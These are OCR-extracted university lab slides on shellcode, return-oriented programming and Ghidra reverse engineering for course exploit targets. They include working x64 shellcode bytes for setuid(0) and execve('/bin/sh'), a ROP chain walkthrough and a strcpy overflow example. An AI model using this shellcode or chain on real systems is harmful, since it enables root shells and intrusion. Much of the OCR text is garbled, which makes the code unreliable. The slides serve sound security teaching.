EECS 388: Lab 10

e Shellcode and ROP Exploitation
e Ghidra Tutorial




Current Assignments

e Project 4 due November 16th, 6 p.m.




Shellcode



Shellcode

e Returning to arbitrary functions is fun, but what if we want more flexibility?
e If we had a shell, we could run any command we want on the victim’s
computer!

v
| DO WHAT
| WANT




Calling /bin/sh

e /bin/sh opens a shell
e How can we call an external binary from a program?
e execve() seems like a good option!




From the man-page:

int execve(const char *path, char *const argv[], char *const envp[]);

e pathis the filename of the binary we want to execute

e argyv isthelist of arguments we want to pass
o Justlike we seeinmain(int argc, char *const argv|[])

e envp is for environment variables




How does it look in C?

#include <unistd.h>

void main()

{
char *argv[2];
argv[@] = "/bin/sh";
argv[1] = NULL;
execve(argv[@], argv, NULL);
}

Credit: Smashing the Stack for Fun and Profit



(gdb) disassemble main s

Dump of assembler code for function main:
00005555555551 <+0>: endbr64
(1] : 5d <+4>: push rbp
0x000¢ 555551 <+5>: mov rbp, rsp
1 000¢ 5 5171 <+8>: sub rsp,0x20
. FunCtlon prelLIde ( ( 55551 <+12>: mov rax,QWORD PTR fs:0x28
0000555555555 <+21>: mov QWORD PTR [rbp-0x8], rax
2 <+25>: Xxor eax,eax
<+27>: lea rax, [rip+0xe79] #
<+34>: mov QWORD PTR [rbp-0x201], rax
<+38>: mov QWORD PTR [rbp-0x18],0x0
<+46>: mov rax,QWORD PTR [rbp-0x20]
<+50>: lea rcx, [rbp—0x20]
<+54>: mov edx, 0x0
<+59>: mov rsi, rex
<+62>: mov rdi, rax
<+65>: call @x555555555 <execve@plt>
<+70>: nop
<+71>: mov rax,QWORD PTR [rbp-0x8]
<+75>: sub rax,QWORD PTR fs:0x28
] <+84>: je 555 <main+91>
<+86>: call 0x555555555060 <__stack_chk_fail@plt>
<+91>: leave
Px00005555555551c5 <+92>: ret
{ End of assembler dump.
char *argv[2];
argv[@] = "/bin/sh";
argv[1] = NULL;

#include <unistd.h>

void main()

execve(argv[@], argv, NULL);

Credit: Smashing the Stack for Fun and Profit




gdb) disassemble main g

Dump of assembler code for function main:

0055 51 <+0>: endbr64
0005 55516d <+4>: push rbp
0x000¢ <+5>: mov rbp, rsp
1+ H k [ ] 000 1 <+8>: sub rsp,0x20
. Inltlallze Char‘ name 2 ( 55175 <+12>: mov rax,QWORD PTR fs:0x28
. . Ix000 55517e <+21>: mov QWORD PTR [rbp-0x8], rax
©) "/bln/Sh" IS at the addl’eSS )X00 5 182 <+25>: xor eax,eax
00¢ 184 <+27>: lea rax, [rip+0xe79] #
Ox555555556004 000 18b <+#34>:  mov  QWORD PTR [rbp-0x20],rax

<+38>: mov QWORD PTR [rbp-0x18],0x0
97 <+46>: mov rax,QWORD PTR [rbp-0x20]

<+50>: lea rcx, [rbp—0x20]
<+54>: mov edx, 0x0
<+59>: mov rsi, rex
7 <+62>: mov rdi, rax
<+65>: call @x555555555 <execve@plt>
<+70>: nop
<+71>: mov rax,QWORD PTR [rbp-0x8]
<+75>: sub rax,QWORD PTR fs:0x28
] <+84>: je 5! 55551c4 <main+91>
<+86>: call @x555¢ 55060 <__stack_chk_fail@plt>
<+91>: leave
51¢c5 <+92>: [FEE
assembler dump.

(gdb) x /s @x555555556004

Px555 04: "/bin/sh"

#include <unistd.h>

void main()

{
char *argv[2];
argv[@] = "/bin/sh";
argv[1] = NULL;

execve(argv[@], argv, NULL);

Credit: Smashing the Stack for Fun and Profit



gdb) disassemble main g

Dump of assembler code for function main:

0055555 1 <+0>: endbr64
0 ; | <+4>: push rbp
0x000¢ 555551 <+5>: mov rbp, rsp
1 1 00005 5171 <+8>: sub rsp,0x20
e Mov arguments into registers | S175 <i1msi Moy rax,QNORD PR fs:0x28
Ox00005 5551 <+21>: mov QWORD PTR [rbp-0x8], rax
e Remember order of arguments: WREEEEL EERLE O o
000! 55184 <+27>: lea rax, [rip+0xe79] #
. . 000 51 <+34>: mov QWORD PTR [rbp-0x201], rax
o I'dl, rsi, rdx, rcx, r8, ro... 000055555555518F <+38>:  mov  QWORD PTR [rbp-0x18],0x0
. . )X0000555555555197 <+46>: mov rax,QWORD PTR [rbp-0x20]
o rdi: address of “/bin/sh” 000055555555510b <+50>:  lea  rcx, [rbp-0x20]
. 00005555555551 <+54>: mov edx, 0x0
o rsi: address of argv ’ 5lad <#59>:  mov  rsi,rex
OX0000" 551 <+62>: mov rdi, rax
o r(i)(: () 0000555555555 <+65>: call 0x555555555 <execve@plt>

<+70>: nop
<+71>: mov rax,QWORD PTR [rbp-0x8]
<+75>: sub rax,QWORD PTR fs:0x28
] <+84>: je 555 <main+91>
<+86>: call 0x555555555060 <__stack_chk_fail@plt>
<+91>: leave
0x00005555 551¢c5 <+92>: ret
{ End of assembler dump.
char *argv[2];
argv[@] = "/bin/sh";
argv[1] = NULL;

#include <unistd.h>

void main()

execve(argv[@], argv, NULL);

Smashing the Stack for Fun and Profit



(gdb) disassemble main s

Dump of assembler code for function main:
00005555555551 <+0>: endbr64
(1] : 5d <+4>: push rbp
0x000¢ 555551 <+5>: mov rbp, rsp
000¢ 5 5171 <+8>: sub rsp,0x20
. Ca” execve! ( ( 55551 <+12>: mov rax,QWORD PTR fs:0x28
0000555555555 <+21>: mov QWORD PTR [rbp-0x8], rax
2 <+25>: Xxor eax,eax
<+27>: lea rax, [rip+0xe79] #
<+34>: mov QWORD PTR [rbp-0x201], rax
<+38>: mov QWORD PTR [rbp-0x18],0x0
<+46>: mov rax,QWORD PTR [rbp-0x20]
<+50>: lea rcx, [rbp—0x20]
<+54>: mov edx, 0x0
<+59>: mov rsi, rex
<+62>: mov rdi, rax
<+65>: call @x555555555 <execve@plt>
<+70>: nop
<+71>: mov rax,QWORD PTR [rbp-0x8]
<+75>: sub rax,QWORD PTR fs:0x28
] <+84>: je 555 <main+91>
<+86>: call 0x555555555060 <__stack_chk_fail@plt>
<+91>: leave
Px00005555555551c5 <+92>: ret
{ End of assembler dump.
char *argv[2];
argv[@] = "/bin/sh";
argv[1] = NULL;

#include <unistd.h>

void main()

execve(argv[@], argv, NULL);

Credit: Smashing the Stack for Fun and Profit




(gdb) disassemble execve

Prelude

(gdb) disas execve
Dump of assembler code for
00007 e76080 <+0>:
0007 e’ 1 <+4>:
) <+9>:

) <+11>:

1 <+17>:
3 <+19>:
<+20>:

) <+27>:
9d <+29>:
<+32>:
<+36>:

End of assembler dump.

Credit: Smashing the Stack for Fun and Profit

function execve:

endbr64

mov eax, 0x3b

syscall

cmp rax, Oxfffffffffffffool

jae ) 7e76094 <execve+20>

ret

mov rcx,QWORD PTR [rip+0x12dd75]
neg eax

mov DWORD PTR fs: [rcx],eax

or rax, Oxffffffffffffffff

Bels




(gdb) disassemble execve

(gdb) disas execve

P Se-t eax -to @X3b (59) Dumr) of assemblerrcode for function execve:

00007 76080 <+0>: endbr64
. oy . 000007 776084 <+4>: mov eax, 0x3b
o This will index the L S 6080 <49 S
[ e7608b <+11>: cmp rax,oxfffffffffffffool
Sysca” 0x00007 7676091 <+17>: jae ) 7676094 <execve+20>

3 <+19>: ret

<+20>: mov rcx,QWORD PTR [rip+0x12dd75]
b <+27>: neg eax
| <+29>: mov DWORD PTR fs: [rcx],eax
<+32>: or RaXs OXEREERETERE R T T
<+36>: Bels

End of assembler dump.

Credit: Smashing the Stack for Fun and Profit




(gdb) disassemble execve

(gdb) disas execve
Dump of assembler code for function execve:
® Sysca” 0x00007 e76080 <+0>: endbr64

I <+4>: mov eax, 0x3b
89 <+9>: syscall
b <+11>: cmp rax,oxfffffffffffffool
091 <+17>: jae ) 776094 <execve+20>

3 <+19>: ret
<+20>: mov rcx,QWORD PTR [rip+0x12dd75]
b <+27>: neg eax
)d <+29>: mov DWORD PTR fs: [rcx],eax
0 <+32>: or RaXs OXEREERETERE R T T
0l e760a4 <+36>: ret
End of assembler dump.

Reference table for 64-bit Linux syscalls:
https://blog.rchapman.org/posts/Linux_System_Call_Table_for x86_64/

Credit: Smashing the Stack for Fun and Profit


https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/

Doing it ourselves

What if instead of calling execve, we just did everything that it does ourselves?
Here's the steps we'd have to take:

1. Have "/bin/sh" somewhere in memory (can find it or put it somewhere)
2. Have a pointerto "/bin/sh"

3. Copy correct values into registers:
o rdi:address of “/bin/sh”
o rax: execve syscall code, 59
o rsi:char *name[ ](can just be 0)
o rdx:name[@] ("/bin/sh") (can just be 0)

4. Execute syscall

Credit: Smashing the Stack for Fun and Profit



Actual x64 shellcode in assembly:

Here are the previous 4 steps expressed in x64 assembly:

mov rax, 59

lea rdi, [rip+16]
mov rsi, 0

mov rdx, 0
syscall

.asciz "/bin/sh"




Here it is in Python bytes

th/'f We can inject

Process, jt iy
open a ropt Shellr

# What we constructed in the past few slides:

execve =

b'\x48\xc7\xcO\x3b\x00\x00\x00\x48\x8d\x3d\x10\x00\x080\x080\x48\xc7\xc6\x00\x00\x00\x00\x48\xc7\
Xxc2\x00\x00\x00\x00\x0f\x05/bin/sh\x00"

# Similar construction:

setuid = b'\x48\xc7\xcB\x69\x00\x00\x00\x48\xc7\xc7\x00\x00\x00\x00\x0f\x05'

shellcode = setuid + execve




Return Oriented Programming

(Target 7)



Problem: Data Execution Prevention (DEP)

e Injecting shellcode then running it requires executing code on the stack
e DEP prevents this :(




Workaround:

Let’s just use code that is already in the executable section of memory!
But what if there isn't a single block of code that does everything we need?
The instructions that we need are probably there, just not in the right order
If we can jump to where we want, we can chain them together




Solution: ROP!

e Basicidea:
o There are lots of “snippets” of valid assembly floating around in memory
o If they are followed by the ret instruction, we can jump to them, do stuff, and “return” to
somewhere else!
o retis simply the byte 6xC3




ROP

e Each “snippet” is called a gadget

e Once you return from one gadget, you can jump to another by putting its
return in the stack

e Putting several of these together, we get chains

e This is Return Oriented Programming

[etlUrN 0RieNEEE

PrOBREMMENG




When to ROP

e In what scenarios would we be forced to do ROP?




When to ROP

e In what scenarios would we be forced to do ROP?
o DEPisenabled
o No libc available




ROP Example

e Let'suse ROPto set raxto 9x00000010 and rbx to Oxdeadbeefdeadbeef
e We'll use the following gadgets:

0x000000000047e800 : mov rax, 7 ; ret
0x000000000047e780 : add rax, 3 ; ret
0x0000000000401T40 : pop rbx ; ret




ROP Example

rsp

0x0000000000...
0x0000000000..

rax o0x080de00o..

0x0000000000401€08 : call read_input
0x0000000000401e0e : leave 0x0000000000 ..
Ox0000000000401eBf : ret 9x0000000000 ...

rbx oxfff693bc...

~

0x0000000000401140 : pop main’'s FP Oxfff69448..
DEREEEEREAET AT ¢ rei return addr 0x08048c6d..

0x0000B0000047e780 : add ) Oxfffe9420..

0x000000000047e800 : mov , 0x0000000000...
0x000000000047e807 : ret Ox080848c2¢ ..

oxffffd838..
0x080de000..



ROP Example

0x0000000000401e08

0x000000000040140
0x000000000040141

0x000000000047e780

0x000000000047e800
0x000000000047e807

: call read_input
0x0000000000401e0e
0x0000000000401e0f

leave
ret

: pop rbx
: ret

: add rax, 3
0x000000000047e784

ret

: mov rax, 7
. ret

rip buf

main’s FP
return addr

0x080de000..

rax o0x080de00o..

rbx oxfff693bc...




(rbp now points at 6x41414141..)

ROP Example

0x414141414141..

0x414141414141 ..
0x0000000000401€08 : call read_input buf rbx exfff693bc..

0x0000000000401e0e : leave rip 0x414141414141..

0x0000000000401146 : pop main’s FP
0x0000000000401741 : ret return addr 0x00.401f40

0x00000000B047e780 : add , Oxdeadbeefdead..
0x000000000047e784 : ret 0x00 470800

rax o0x080de00o..

0x000000000047e800 : mov , 0x00..47e780
0x000000000047e807 : ret 0x00..47e780

0x00.47e780
0x080de000..




(rbp now points at 6x41414141..)

ROP Example

0x414141414141..

0x414141414141 ..
0x0000000000401€08 : call read_input rbx oxfff693bc..

Ox0000000000401eBe : leave 0x414141414141..

rax o0x080de00o..

: pop main's FP | 20 i P P i
0x0000000000401f41 : ret return addr
0x00000000B047e780 : add , Oxdeadbeefdead..
0x000000000047e784 : ret 0x00..47e800

0x000000000047e800 : mov , 0x00..47e780
0x000000000047e807 : ret 0x00..47e780

0x00.47e780
0x080de000..




(rbp now points at 6x41414141..)

ROP Example

0x414141414141..

0x414141414141...
0x0000000000401e08 : call read_input rbx

Ox0000000000401eBe : leave 0x414141414141..

0x0000000000401F40 : pop main’'s FP | 2hais b P P B E
- ret return addr 0x00.401f40

0x000000000047e780 : add
0x000000000047e784 : ret 0x00.47e800

rax o0x080de00o..

0x000000000047e800 : mov , 0x00..47e780
0x000000000047e807 : ret 0x00..47e780

0x00.47e780
0x080de000..




(rbp now points at 6x41414141..)

ROP Example

0x414141414141..

Ox414141414141..
0x0000000000401e08 : call read_input rbx oxdeadbeef..

Ox0000000000401eBe : leave 0x414141414141..

0x0000000000401F40 : pop main’'s FP | 2hais b P P B E
2GR return addr 0x00.401f40

0x00000000B047e780 : add , Oxdeadbeefdead..
0x000000000047e784 : ret

rax o0x080de00o..

: mov , 0x00.47e780
0x000000000047e807 : ret Ox00 .47e780

0x00.47e780
0x080de000..




(rbp now points at 6x41414141..)

ROP Example

0x414141414141..

Ox414141414141..
0x0000000000401e08 : call read_input rbx oxdeadbeef..

Ox0000000000401eBe : leave 0x414141414141..

rax

0x0000000000401F40 : pop main’'s FP | 2hais b P P B E
0x0000000000401741 : ret return addr 0x00..401f40
0x00000000B047e780 : add , Oxdeadbeefdead..
0x000000000047e784 : ret
0x000000000047e800 : mov , 0x00..47e780
- ret 0x00.47e780
0x00.47e780
Ox080de000..




(rbp now points at 6x41414141..)

ROP Example

0x414141414141..

Ox414141414141..
0x0000000000401e08 : call read_input rbx oxdeadbeef..

0x0000000000401ePe : leave 0x414141414141 ..
0x0000000000401e0f : ret Ox4141414141417 .
Px0000000000401f40 : pop main’'s FP | 2hais b P P B E
0x0000000000401741 : ret return addr 0x00.401f40

: add ) Oxdeadbeefdead..
0x00000BB00047e784 : ret 0x00 476800

Fax ox7

0x000000000047e800 : mov
0x000000000047e807 : ret exee 476780

0x00.47e780
0x080de000..




(rbp now points at 6x41414141..)

ROP Example

0x414141414141..

Ox414141414141..
0x0000000000401e08 : call read_input rbx oxdeadbeef..

Ox0000000000401eBe : leave 0x414141414141..

0x0000000000401F40 : pop main’'s FP | 2hais b P P B E

SEERERUEELEATTIAT o e return addr 0x00..401f40

0x00000000B047e780 : add , Oxdeadbeefdead..
- ret 0x00..47e800

0x000000000047e800 : mov
0x000000000047e807 : ret exee 476780

rax

0x00.47e780
0x080de000..




(rbp now points at 6x41414141..)

ROP Example

0x414141414141..

Ox414141414141..
0x0000000000401e08 : call read_input rbx oxdeadbeef..

0x0000000000401ePe : leave 0x414141414141 ..
0x0000000000401e0f : ret Ox4141414141417 .
Px0000000000401f40 : pop main’'s FP | 2hais b P P B E
0x0000000000401741 : ret return addr 0x00.401f40

: add ) Oxdeadbeefdead..
0x00000BB00047e784 : ret 0x00 476800

Fax ©Oxa

0x000000000047e800 : mov , 0x00..47e780
0x000000000047e807 : ret

0x00.47e780
0x080de000..




(rbp now points at 6x41414141..)

ROP Example

0x414141414141..

Ox414141414141..
0x0000000000401e08 : call read_input rbx oxdeadbeef..

Ox0000000000401eBe : leave 0x414141414141..

0x0000000000401F40 : pop main’'s FP | 2hais b P P B E

SEERERUEELEATTIAT o e return addr 0x00..401f40

0x00000000B047e780 : add , Oxdeadbeefdead..
- ret 0x00..47e800

0x000000000047e800 : mov , 0x00..47e780
0x000000000047e807 : ret

rax

0x00.47e780
0x080de000..




(rbp now points at 6x41414141..)

ROP Example

0x414141414141..

Ox414141414141..
0x0000000000401e08 : call read_input rbx oxdeadbeef..

0x0000000000401ePe : leave 0x414141414141 ..
0x0000000000401e0f : ret Ox4141414141417 .
Px0000000000401f40 : pop main’'s FP | 2hais b P P B E
0x0000000000401741 : ret return addr 0x00.401f40

: add ) Oxdeadbeefdead..
0x00000BB00047e784 : ret 0x00 476800

Fax oxd

0x000000000047e800 : mov , 0x00..47e780
0x000000000047e807 : ret 0x00..47e780

0x080de000..




(rbp now points at 6x41414141..)

ROP Example

0x414141414141..

Ox414141414141..
0x0000000000401e08 : call read_input rbx oxdeadbeef..

Ox0000000000401eBe : leave 0x414141414141..

0x0000000000401F40 : pop main’'s FP | 2hais b P P B E

SEERERUEELEATTIAT o e return addr 0x00..401f40

0x00000000B047e780 : add , Oxdeadbeefdead..
- ret 0x00..47e800

0x000000000047e800 : mov , 0x00..47e780
0x000000000047e807 : ret 0x00..47e780

rax

0x080de000..




ROP Example

0x0000000000401e08
0x0000000000401e0e

0x000000000040140

0x0000000000401141

0x000000000047e780

0x000000000047e800

: call read_input
: leave
0x0000000000401e0f

ret

- pop
: ret

: add
0x000000000047e784

ret

: mov
0x000000000047e807

ret

main’s FP
return addr

0x414141414141...
0x414141414141 ..
0x41414141414" ..
0x414141414141 ..
0x414141414141..
0x00.401f40
Oxdeadbeefdead..
0x00.47e800
0x00.47e780
0x00.47e780
0x00.47e780
0x080de000..

(rbp now points at 6x41414141..)



ROPgadget

e Tool for finding gadgets (and can assist in building chains)
e Installed on your VM for you
e See spec for more useful flags

Run it like this:

S ROPgadget --binary ./target7 --multibr




What kind of ROP chain do we need for target 77

e Think back to shellcode:
o Setraxto0x69 = 105

o Setrdito0

o syscall

o (Thisis equivalent to setuid(0) ;)

o Have "/bin/sh" in memory

o Setraxto 0x3b =59

o Setrdito address of " /bin/sh"

o Setrsi,rdxto0

o syscall

o (Thisis equivalent to execve("/bin/sh", @, 0);)



ROP Tips

e What does pop do?

o example: pop rax

o takes what is at the top of the stack and puts it into rax
e Make sure all your gadgets end ina ret
e Use ctrl-f or grep to look for gadgets that you are interested in
e Remember that gadgets usually affect each other,
so be mindful of the order of your ROP chain




Ghidra Tutorial

(Target 8)



What is Ghidra?

e Powerful tool for reverse engineering executable files
e Originally a classified tool developed by NSA, but made FOSS in 2019
e Key features:

o Interactive disassembly (annotating, renaming, etc.)
o Decompilation and analysis (transforming assembly back to C-like code)

e You'll be using it to reverse target8 and accomplish your exploit!




Reverse Engineering @

e Whatitis:
o Using deductive reasoning (with assistance from tools like Ghidra) to understand
how a device/software/process/etc. accomplishes a task
e Whatitisn't:
o Reproducing the original source code exactly
e ¢db vs. Ghidra output
o gdb just shows you the assembly code
o Ghidra shows assembly, as well as a ~guess~ into what the source code might
look like




Ghidra setup

e Ghidra comes pre-installed with the Project 4 VM
o Once the VM is running, connect to http://localhost:38804 in your browser or
tovnc://localhost:38854 in a VNC client to open its window

e Let's use Ghidra to reverse engineer target2




Starting a new project

e Navigate to File > New Project
o Choose “Non-Shared Project”
o Enter any project name
e Click Finish and you should see “Active Project: project_name”

! bl i @ Non-Shared Project )
eeeeeeeeeeeeeeeeeee ject Name: [Iabs] |
O Shared Project

nnnnnnnnnnnnnnnnnnn




Importing an executable

e Navigate to File > Import File

o Navigate to your project4 directory and select target2 (the compiled binary, not
target2.c)
o Click OK to accept the default options

BB Edit Project Tools Help

New Project... Ctri+N
Open Project... ctri+0
Reopen >
Close Project Ctrisw
Save Project Ctriss
Delete Project...

Archive Current Project...

Restore Project

Configure..

Install Extensions...

Batch Import...

Open File System... Ctrls!
T )

Exit Ghidra ctri+Q

| Filter:

®

Tree View | Table View

Running Tools

[opened project: labs

L1

7
My Computer

Desktop
-

Home

>

Recent

4= = (@i /home/eecs388/projects

Format

Language:

Destination Folder:

Program Name:

(@ _pycache__ [ targeto.c
(& bin [ target1
[ build.sh [ target1.c
[ build_helper.py [ target2
[ cookie [ target2.c
[ inputs.dat [ target3
|| README.md [% target3.c
[ shellcode.py [ targeta
[ solo.py [ targetd.c
[ solL.py [ targets
[F sol2.py [ targetS.c
[ sol3.py [ targets
[ sol4.py [* target6.c
[ sols.py [ target7
[¥ sol6.py [ target7.c
[ sol7.py [ targets
[ solg.py [F test.sh
[¥ targeto

File name: target2

Type: [ All Files (+.9)

| Select File To Import | |

t [Executable and Linking Format (ELF)

vaG:LE:BZ:default:gcc

Al

0K Cancel




Importing an executable

©)

©)

Double-click on target2 to open the Code Browser

When prompted, click Yes to analyze the file
Leave the selected analyzers as default and click Analyze
This may take a minute or so to decompile the binary

&

nabl... |Analyzer

Aggressive Instruction Finder (Prototype) [&
Apply Data Archives
ASCIl Strings

Call Convent tion 1D Options

Call-Fixup Installer
Condense Filler Bytes (Prototype)
Create Address Tables

Di:

ELF Scalar Operand References
Embedded Media

External Entry References

Function ID

Function Start Search

GCC Exception Handlers
Non-Returning Functions - Discovered

NEREREREEEIRROEEEE0E| §

|_select All | | Deselect All | | Reset | | save.. |
Standard Defaults g




G h I d ra OVG rV i eW Disassembly Listing View Decompiler View

View the assembly code View as C-like code

| Eile Edit Analysis Graph Navigation Search Select Tools Window Help

Be = BPRRPD JIDULFRYE- @@ o

RS Fr @lE-x] % B (@~ x
v 7 target2 7 i |
B _libc_freeres_ptrs // seguent 0.1
bss // Loadable segment [0xB8048000 - 0x80daf8f] (disabled execut...
| N beiresdibiadr // ran:08048000- ran: 0804803
Symbol Tree Tibc.atent
. _lib_lo_vtables
View symbols e subfreeres XREFIL31: _libe_start_sain:0804s176
i __ehdr_ i 804880 I
(primarily function e e
I P E1f32_Ehdr
Program Tree x
—_— db 7Fh e_ident_nagi... XREF[1]:
|‘TI'QG ‘ b x 08048001 45 4c 46 ds HF e_ident_magi...
= 08048004 01 db 1h e_ident_class
» O Imports 08048005 01 db 1h e_ident_data
» B Exports 08048006 01 db 1h e_ident_vers...
= 08048007 03 db 3 e_ident_osabi
M _ident_
s @F“;“:"’"s 08048008 00 db oh e ident_abiv...
> p Labels 08048009 00 00 00 00 00 db(7] e_ident_pad
» £ Classes 00 00
» E() Namespaces 08048010 02 00 dw 2 e_type
08048012 03 00 dw 3h e_machine
08048014 01 00 00 00 ddw 1h e_version
08048018 40 87 04 08 ddw _start e_entry
0804801¢ 34 00 00 00 ddw E1f32_Phdr_ARRAY_08048... e_phoff XREF(1]: J
08048020 a8 54 0a 00 ddw E1£32_Shdr_ARRAY__elfs... e_shoff
08048024 00 00 00 00 ddw oh e_flags
08048028 34 00 dw 34h e_ehsize
0804802a 20 00 dw 20h e_phentsize XREF (1] :
0804802c 06 00 dw 6h e_phnum XREF(1]:
N 0804802e 28 00 dv 28h e_shentsize -
. 2s = 08048030 1f 00 dv 1Fh e_shnun 2|
v A% Data Types 08048032 le 00 dw 1Eh e_shstrndx L
> § BuitinTypes 1 £0e i de anoa_Anasnas P X
» Eotarget2 EAS o O | BN = >
i o e B
Filter: &2

;@] 08048000




Getting Help in Ghidra

Press F1 while hovering over a window to open up the contextual help menu

(We don’t expect you to read the whole manual, you can just focus on this demo. This is just letting
you know it exists.)

<> 88 » -+ &
NIV EY Decompiler R —

@ welcome to Ghidra Help o

& geaivi i [Efisting: WinkellocPp.exe
» (@ Ghidra Projects
- @ Prograi
» (@ Tools 3 'HINSTANCE
¥ (& Ghidra Functionalty alt int
[8) Assembler - e 00401040 8b 44 2.
» @ Byte Viewer s 1
. 7 DAT_0040106: ram_1; 86601044 36
88 code Browser s CreatewindowExA(0, EOAT_ 0040000, E0AT_00401068, 00000, 03 00401045 62 00

(8 Debugger 9 (HWND) 8x0, (HMENU) 0x0, paran._1, (LPVOID) 0xe) bepetradlnd =
D TTRT paran,_ 0401046 6a 00 | |—libc_start_nain:08048f76

00401042 62 00 | |—

mp [
Eclpss Integration 11 return (00)0x0; i sin;08
R N 0040104c 62 00 e .
Py 0040104e 68 00 0
- o0

‘Showindow(hiind, param_2) ;
;

[ FileSystem Browser Updatewindow(hind) ; -
» @ Function Bt Patterns Explorer Tetirs (RamRas 00401053 63 00
» @ Function ) il DL YREFI1]
» @ Graphing 7 o0 80
el 00401053 68 00 o
» @ Memory Map o 00
» @ Program Annotation o040105t 58 66
» @ Program Tree 0 00
» (8 Program Tres Manager 00401064 58 00

[ Program validator
[ Relocation Table

> (@ scripting Overview

> (@ Symbol Table

» @ Version Tracking

» @ support The Decompller plug-n s a engine which converts the
into a high-level C representation. The Decompiler presents a view of a program which s interact

f or makes changes to the annotations associated with the program. A Decompiler window maintai

XFEF(1]

and the assembl displayed in the Code Browser window, to the exte
visi1al assaciation and navination hetween C Ianaiane exnressions and. their en”

s v

08048026 28 00 av 28 o_shentsize
shus

XREF(1]
XREF(1]

o vt N

udint 08048030 1f 00 o 1 e shnu

* 48 0ata Types 0804032 1¢ 00 o 1 eZshstrnde L
»§ sutinmypes T —— . *
» Botarget2

> generic_clb




Inspect _main

e Inthe Symbol Tree, find and click on the function “_main”
o You can also filter by “_main” which may be quicker
o Note: many of the functions are included from libraries and aren't actively used
by the original source code
e You should now see _main’'s assembly code in the Listing window and its

decompiled code in the Decompiler window




Decompile _main

e Ghidra tries to infer variable types and function signatures, but you may have
to help it sometimes
e Why is decompiling code difficult?

Original source code (you won't have this for target8)

2 |/* WARNING: Function: _ x86.get_pc_thunk.ax replaced with injection: get_pc_thunk_ax */ int _main(int argc, char **argv) {
4 |s00l _main(int param_l,int param_2) (argc ) o
S fprintf(stderr, "Error: need a command-line argument\n");
s { X
if (param_1l == 2) { ’
vulnerable (* (undefined4 *)(param_2 + 4)); }
: } .
10| else { vulnerable(argv[1]);
11 fwrite("Error: need a command-line argument\n",1,0x24, (FILE *)stderr); 8
12 }
13 return param_1 != 2;
14 |}

*Notice that Ghidra incorrectly inferred the parameter and return types



Disassemble _main

RS Fr @ E-x

A, awora pTr [EEF + ocal_8]

[ UBUABCID 8D 50 TC MOV 7y
‘ 08048cle c9 LEAVE ‘
08048clf c3 RET
Space for parameters
On the stack R RS R R R R R R R R R R R R R R R R R R R R R R R R R R R R R R R R R R R R

¥ FUNCTION +
e R R S R e
Jndefined _main(undefined4 param_l, undefined4 param_2)

= AL:1 <RETURN>
undefined4

08048c4d e8 3e 78 CALL fwrite

Stack[0x4]:4 param_1 XREF[1]: 08048c31 (R) I
undefined4 Stack[0x8]:4 param_2 XREF[1]: 08048c5c (R)
undefined4 Stack([-0x8]:4 local_8 XREF[1]: 08048c75(R)
_main XREF[3] : Entry Point(*), main:08048h
080c8674(*)
T 08048c20 55 PUSH
08048c21 89 e5 MoV F
08048c23 53 PUSH x i
08048c24 83 ec 04 SuB ESP, 0x4
08048c27 e8 4e 00 CALL __x86.get_pc_thunk.ax
‘ 00 00
08048c2c 05 d4 53 ADD EAX, 0x953d4
09 00
08048c31 83 7d 08 02 CMP dword ptr [EEP + param_1],0x2 Y
08048¢c35 74 25 Jz LAB_08048c5c
08048c37 c7 c2 94 MoV EDX,stderr
e4 0d 08
08048c3d 8b 12 MOV _stderr_,dword ptr [EDX]
08048¢3f 52 PUSH stderr_
08048c40 6a 24 PUSH =
08048c42 6a 01 PUSH
08048c44 8d 90 bc LEA EDX, [EAX + Oxfffdldbcl=>s_Error:_need_a_comman...
1d fd ff
08048c4a 52 PUSH EDx=>s_Error:_need_a_command-1ine_argum_080afdbc
08048c4b 89 c3 MOV EBX, EAX Sl
-

08048c52 83 c4 10 ADD
08048c55




Renaming and retyping variables

e You can modify the name and type of variables to make them more readable
o This will update the variable across every one of its instances!
e Right-click on a variable and select “Rename Variable” or “Retype Variable”
e You can also modify the function signature by right-clicking and selecting
“Edit Function Signature”

Rename param_1 to argc and param_2 to argv
Also retype argv as char ** and the return type as int

Decompile: _main - (target2)

1

2 |/* WARNING: Function: _ x86.get_pc_thunk.ax replaced with injection: get_pc_thunk_ax */
int _main(int argc,char **argv)

if (argc == 2) {
vulnerable(argv(1]):

}

else {

1 fwrite ("Error: need a command-line argument\n",1,0x24, (FILE *)stderr)

}

return (uint)(argc != 2);




Following function calls

e Navigate to the vulnerable() function by double-clicking on the function call
from within _main

o Go back and forth between visited locations by using the blue arrows in the navbar ¢ ~ =

Ghidra labels local variables as local_# Decompile: vulnerable - (target2)

1
2 |/* WARNING: Function: _ x86.get_pc_thunk.ax replaced with injection: get_pc_thunk_ax */
4 |void vulnerable(char *param_1)

7| char local_70 [104];

o [ "Para"‘-‘l;\ Notice: Ghidra inferred a buffer size of 104, but the

1 [y source code originally specified 100

void vulnerable(char *arg) %
char buf[ 1;
strcpy(buf, arg);




Assembly + Decompiled code

e Use the Listing and Decompiler views in tandem to work your way through

reverse engineering the source code!
o Clicking on assembly will highlight the corresponding code and vice versa

{4 Decompie: winerable - (target2) % b é~x

A Br (@ E-x

o == 0 5
08048be9 8d 65 f0 LEA EsP=>local_18, [ESP + -0x10] s o . .
oositiec 5 £ : 2 ‘/0 WARNING: Function: _x86.get_pc_thunk.ax replaced with injection: g
08048bed Sb POP A’
oot o e 4 |void vulnerable (char *paran_1)
0804gbef Sf POP 2] "
0804870 5d POP I | char [104];
08048bf1 8d 61 fc LEA P, [ECX + -0x4] a ‘ 2
0804804 3 RET 9| strepy(local_70,paran_1);
| return;

FEELER AR R R

. FUNCTION *

B T P T PP P P T T P T TR e e TN

undefined vulnerable (undefined4 paran_1)
AL:1 <RETURN>

undefined
undefinedd Stack([0x4]:4 paran_1 XREF[1] 08048c09(R)
undefinedd Stack[-0x8]:4 local 8 XREF[1] 08048c1b (R)

undefinedl Stack[-0x70] :1 local_70 XREF[1] 08048c0c (*)
vulnerable XREF[3] Entry Point(*),
_main:08048c68(c), 080c8650(*)

b 08048bf5 55 PUSH
08048bf6 89 €5 MoV P,
08048bf8 53 PUSH B)
08048bf9 83 ec 74 suB ESP, 0x74
08048bfc 8 79 00 CALL __x86.get_pc_thunk.ax
00
08048c01 AX, 0x953F
08048c06 SuB ESP, Ox8
08048c09 PUSH dword ptr [EGP + paran_1]
08048c0c EDX=>local_70, [EBP + -Ox6c]
08048c0f PUSH DX
08048c10 c3 MoV EBX, EA
08048c12 €8 cl 5 CALL strepy
ff
0804817 83 c4 10 ADD ESP, 0x10
08048cla 90 NOP
08048c1b 8b 5d fc MoV EEX,dword ptr [EEP + local 8]
08048cle c9 LEAVE
